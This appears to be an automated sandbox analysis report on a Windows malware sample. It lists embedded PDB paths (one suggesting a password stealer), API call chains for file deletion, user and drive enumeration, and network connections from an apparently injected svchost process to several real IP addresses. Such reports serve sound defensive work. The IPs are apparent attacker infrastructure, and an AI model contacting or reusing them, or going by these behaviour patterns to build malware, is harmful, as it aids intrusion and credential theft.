Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ObjectModel\4.0.11.0\System.ObjectModel.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Globalization.Extensions/netfx\System.Globalization.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.CompilerServices.VisualC\4.0.2.0\System.Runtime.CompilerServices.VisualC.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Security.SecureString/netfx\System.Security.SecureString.pdbf) source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: D:\workspace\_work\1\s\artifacts\obj\Microsoft.Diagnostics.Runtime\Release\net461\Microsoft.Diagnostics.Runtime.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.InteropServices\4.1.2.0\System.Runtime.InteropServices.pdbH5b5 T5_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\DLL\Dll\x64\Release\Dll.pdb source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Tasks\4.0.11.0\System.Threading.Tasks.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.TextWriterTraceListener\4.0.2.0\System.Diagnostics.TextWriterTraceListener.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Resources.Reader\4.0.2.0\System.Resources.Reader.pdbl( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Formatters\4.0.2.0\System.Runtime.Serialization.Formatters.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.ReaderWriter\4.1.1.0\System.Xml.ReaderWriter.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Tasks.Parallel\4.0.1.0\System.Threading.Tasks.Parallel.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Collections.Immutable/net461-Release/System.Collections.Immutable.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebSockets.Client\4.0.2.0\System.Net.WebSockets.Client.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.IsolatedStorage\4.0.2.0\System.IO.IsolatedStorage.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Xml.XPath.XDocument/netfx\System.Xml.XPath.XDocument.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem\4.0.3.0\System.IO.FileSystem.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.X509Certificates\4.1.2.0\System.Security.Cryptography.X509Certificates.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Expressions\4.1.2.0\System.Linq.Expressions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Csp\4.0.2.0\System.Security.Cryptography.Csp.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Dll1\Release\Dll_x86.pdb source: exe1.bin.bak.exe, exe1.bin.bak.exe, 00000000.00000002.1663881795.0000000000428000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Memory\netfx\System.Memory.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel\4.0.1.0\System.ComponentModel.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Requests\4.0.11.0\System.Net.Requests.pdbX)r) d)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Handles\4.0.1.0\System.Runtime.Handles.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Buffers\netfx\System.Buffers.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encodings.Web/net461-Release/System.Text.Encodings.Web.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\39\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Numerics.Vectors/net46\System.Numerics.Vectors.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Collections.Immutable/net461-Release/System.Collections.Immutable.pdbSHA256M source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Cryptography.Encoding\4.0.2.0\System.Security.Cryptography.Encoding.pdbT)n) `)_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\156\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.Threading.Tasks.Extensions\netfx\System.Threading.Tasks.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.AppContext\4.1.2.0\System.AppContext.pdb<(V( H(_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Pipes\4.0.2.0\System.IO.Pipes.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.Process\4.1.2.0\System.Diagnostics.Process.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Primitives\4.0.11.0\System.Net.Primitives.pdbH,b, T,_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Linq.Queryable\4.0.1.0\System.Linq.Queryable.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Security.SecureString/netfx\System.Security.SecureString.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.ComponentModel.Primitives\4.1.2.0\System.ComponentModel.Primitives.pdbd+~+ p+_CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Dynamic.Runtime\4.0.11.0\System.Dynamic.Runtime.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XDocument\4.0.11.0\System.Xml.XDocument.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading\4.0.11.0\System.Threading.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.Compression.ZipFile\4.0.3.0\System.IO.Compression.ZipFile.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Xml.XmlDocument\4.0.3.0\System.Xml.XmlDocument.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Threading.Thread\4.0.2.0\System.Threading.Thread.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\GetPassword-master\Release\GetPassword.pdb source: MpMgSvc.exe, 00000015.00000002.4094624711.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Wmicc.exe, 00000037.00000000.2244665996.0000000000424000.00000008.00000001.01000000.0000000B.sdmp, Wmicc.exe, 00000037.00000002.2251870850.0000000000424000.00000008.00000001.01000000.0000000B.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\Microsoft.Win32.Primitives\4.0.3.0\Microsoft.Win32.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebHeaderCollection\4.0.1.0\System.Net.WebHeaderCollection.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Security.Claims\4.0.3.0\System.Security.Claims.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding\4.0.11.0\System.Text.Encoding.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Text.Encoding.Extensions\4.0.11.0\System.Text.Encoding.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Diagnostics.NETCore.Client/Release/netstandard2.0/Microsoft.Diagnostics.NETCore.Client.pdbSHA256 source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Encodings.Web/net461-Release/System.Text.Encodings.Web.pdbSHA256I source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.Specialized\4.0.3.0\System.Collections.Specialized.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Reflection.Metadata/net461-Release/System.Reflection.Metadata.pdbSHA256[] source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin\obj\Windows_NT.AnyCPU.Release\System.Runtime.InteropServices.RuntimeInformation\netfx\System.Runtime.InteropServices.RuntimeInformation.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\39\s\corefx\bin\obj\AnyOS.AnyCPU.Release\System.ValueTuple\netfx\System.ValueTuple.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Diagnostics.FileVersionInfo\4.0.2.0\System.Diagnostics.FileVersionInfo.pdbp( source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.Primitives\4.0.3.0\System.IO.FileSystem.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections.NonGeneric\4.0.3.0\System.Collections.NonGeneric.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.IO.Compression/netfx\System.IO.Compression.pdb]W source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Requests\4.0.11.0\System.Net.Requests.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Extensions\4.1.2.0\System.Runtime.Extensions.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/Windows_NT.AnyCPU.Release/System.Net.Sockets/netfx\System.Net.Sockets.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/System.Text.Json/net461-Release/System.Text.Json.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001A28000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000011606000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Collections\4.0.11.0\System.Collections.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: /_/artifacts/obj/Microsoft.Bcl.AsyncInterfaces/net461-Release/Microsoft.Bcl.AsyncInterfaces.pdbSHA256X^. source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.WebSockets\4.0.2.0\System.Net.WebSockets.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\DLL\Dll\Release\Dll.pdb source: MpMgSvc.exe, 00000015.00000002.4094624711.000000000060A000.00000040.00000001.01000000.00000008.sdmp
Source:	Binary string: E:\A\_work\1795\s\corefx\bin/obj/AnyOS.AnyCPU.Release/System.Diagnostics.StackTrace/netfx\System.Diagnostics.StackTrace.pdb$.>. 0._CorDllMainmscoree.dll source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Runtime.Serialization.Json\4.0.1.0\System.Runtime.Serialization.Json.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.MemoryMappedFiles\4.0.2.0\System.IO.MemoryMappedFiles.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Net.Primitives\4.0.11.0\System.Net.Primitives.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.Globalization.Calendars\4.0.3.0\System.Globalization.Calendars.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp
Source:	Binary string: E:\A\_work\582\s\bin\obj\ref\System.IO.FileSystem.Watcher\4.0.2.0\System.IO.FileSystem.Watcher.pdb source: Hooks.exe, 0000001A.00000002.2174361493.0000000001130000.00000040.00000001.01000000.00000009.sdmp, svchost.exe, 0000001B.00000002.4100759161.0000000010F2E000.00000008.00000001.01000000.0000000A.sdmp

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00410680 NetUserEnum,wcstombs,NetApiBufferFree,NetApiBufferFree,LocalAlloc,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,LocalReAlloc,

29_2_00410680

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 27_2_10017460 FindFirstFileA,RemoveDirectoryA,RemoveDirectoryA,DeleteFileA,FindNextFileA,FindClose,	27_2_10017460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00407CF0 FindFirstFileA,FindClose,FindClose,	29_2_00407CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_004075B0 wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	29_2_004075B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00407DB0 FindFirstFileA,FindClose,CreateFileA,CloseHandle,	29_2_00407DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_00407A00 lstrlenA,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,??2@YAPAXI@Z,??3@YAXPAX@Z,wsprintfA,FindNextFileA,FindClose,	29_2_00407A00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 29_2_004073E0 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlenA,FindNextFileA,LocalFree,FindClose,	29_2_004073E0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00407220 GetLogicalDriveStringsA,GetVolumeInformationA,SHGetFileInfoA,lstrlenA,lstrlenA,lstrlenA,GetDiskFreeSpaceExA,GetDriveTypeA,lstrlenA,

29_2_00407220

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 107.189.29.100 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 211.108.60.155 80
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 1.226.84.135 53

Downloads files with wrong headers with respect to MIME Content-Type

